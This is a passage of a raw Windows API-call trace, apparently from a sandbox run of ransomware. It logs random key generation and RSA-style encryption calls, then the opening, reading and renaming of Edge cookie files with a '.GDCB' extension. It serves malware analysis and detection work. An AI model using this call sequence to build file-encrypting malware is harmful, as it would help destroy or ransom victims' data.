phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.667] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487240) returned 1 [0224.667] CryptGetKeyParam (in: hKey=0x6487240, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.667] CryptEncrypt (in: hKey=0x6487240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7a50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.667] GetLastError () returned 0x0 [0224.667] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.667] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\Microsoft\\Windows\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoft\\windows\\1605653898\\4275773285.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.686] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0224.688] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.689] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.689] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0224.689] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.690] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0224.691] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.692] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.692] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0224.692] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.693] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0224.695] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6486c80) returned 1 [0224.695] CryptGetKeyParam (in: hKey=0x6486c80, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0224.695] CryptEncrypt (in: hKey=0x6486c80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a60000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x7a60000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0224.695] GetLastError () returned 0x0 [0224.695] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.695] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0224.697] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6487700) returned 1 [0224.697] CryptGetKeyParam (in: hKey=0x6487700, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0224.697] CryptEncrypt (in: hKey=0x6487700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a70000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x7a70000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0224.697] GetLastError () returned 0x0 [0224.697] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.697] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\1143SFPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\1143sfpt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0224.699] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7a80000 [0224.701] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7a90000 [0224.704] ReadFile (in: hFile=0x520, lpBuffer=0x7a90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x7a90000*, lpNumberOfBytesRead=0x285d3e8*=0x6f, lpOverlapped=0x0) returned 1 [0224.710] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x7ba0000 [0224.715] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\1143SFPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\1143sfpt.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\1143SFPT.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\1143sfpt.txt.gdcb")) returned 0 [0224.718] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0224.720] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.721] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.721] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0224.721] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.721] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0224.723] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.724] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.724] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0224.724] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.724] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0224.727] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6487580) returned 1 [0224.727] CryptGetKeyParam (in: hKey=0x6487580, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0224.727] CryptEncrypt (in: hKey=0x6487580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a60000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x7a60000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0224.727] GetLastError () returned 0x0 [0224.727] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.727] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0224.729] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6487600) returned 1 [0224.729] CryptGetKeyParam (in: hKey=0x6487600, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0224.729] CryptEncrypt (in: hKey=0x6487600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a70000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x7a70000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0224.729] GetLastError () returned 0x0 [0224.729] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.729] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\1HP9XSYA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\1hp9xsya.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0224.731] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7a80000 [0224.732] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7a90000 [0224.734] ReadFile (in: hFile=0x520, lpBuffer=0x7a90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x7a90000*, lpNumberOfBytesRead=0x285d3e8*=0x95, lpOverlapped=0x0) returned 1 [0224.739] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0x7ba0000 [0224.743] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\1HP9XSYA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\1hp9xsya.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\1HP9XSYA.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\1hp9xsya.txt.gdcb")) returned 0 [0224.747] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0224.748] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.749] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.749] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0224.749] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.750] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0224.751] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.752] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.752] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0224.752] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.752] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0224.754] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x64871c0) returned 1 [0224.754] CryptGetKeyParam (in: hKey=0x64871c0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0224.754] CryptEncrypt (in: hKey=0x64871c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a60000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x7a60000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0224.754] GetLastError () returned 0x0 [0224.754] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.754] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0224.756] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6487680) returned 1 [0224.756] CryptGetKeyParam (in: hKey=0x6487680, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0224.756] CryptEncrypt (in: hKey=0x6487680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a70000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x7a70000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0224.756] GetLastError () returned 0x0 [0224.757] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.757] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\205ESPV2.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\205espv2.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0224.758] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7a80000 [0224.760] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7a90000 [0224.761] ReadFile (in: hFile=0x520, lpBuffer=0x7a90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x7a90000*, lpNumberOfBytesRead=0x285d3e8*=0x9f, lpOverlapped=0x0) returned 1 [0224.769] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0x7ba0000 [0224.773] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\205ESPV2.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\205espv2.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\205ESPV2.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\205espv2.txt.gdcb")) returned 0 [0224.776] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0224.778] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.779] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.779] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0224.779] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.779] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0224.781] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.782] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.782] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0224.782] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.783] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0224.785] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6487800) returned 1 [0224.785] CryptGetKeyParam (in: hKey=0x6487800, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0224.785] CryptEncrypt (in: hKey=0x6487800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a60000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x7a60000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0224.785] GetLastError () returned 0x0 [0224.785] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.785] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0224.787] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x64873c0) returned 1 [0224.787] CryptGetKeyParam (in: hKey=0x64873c0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0224.787] CryptEncrypt (in: hKey=0x64873c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a70000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x7a70000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0224.788] GetLastError () returned 0x0 [0224.788] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.788] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\Y51OCFZ0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\y51ocfz0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0224.789] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7a80000 [0224.791] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7a90000 [0224.792] ReadFile (in: hFile=0x520, lpBuffer=0x7a90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x7a90000*, lpNumberOfBytesRead=0x285d3e8*=0x79, lpOverlapped=0x0) returned 1 [0224.803] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x7ba0000 [0224.808] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\Y51OCFZ0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\y51ocfz0.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\Y51OCFZ0.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\y51ocfz0.txt.gdcb")) returned 0 [0224.810] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0224.812] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.814] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.814] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0224.814] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.814] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0224.816] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.817] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.817] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0224.818] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.818] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0224.820] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6487380) returned 1 [0224.820] CryptGetKeyParam (in: hKey=0x6487380, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0224.820] CryptEncrypt (in: hKey=0x6487380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a60000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x7a60000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0224.821] GetLastError () returned 0x0 [0224.821] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.821] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0224.822] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6487080) returned 1 [0224.823] CryptGetKeyParam (in: hKey=0x6487080, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0224.823] CryptEncrypt (in: hKey=0x6487080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a70000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x7a70000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0224.823] GetLastError () returned 0x0 [0224.823] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.823] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\CortanaAssist\\AllowList.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cortanaassist\\allowlist.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.862] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, 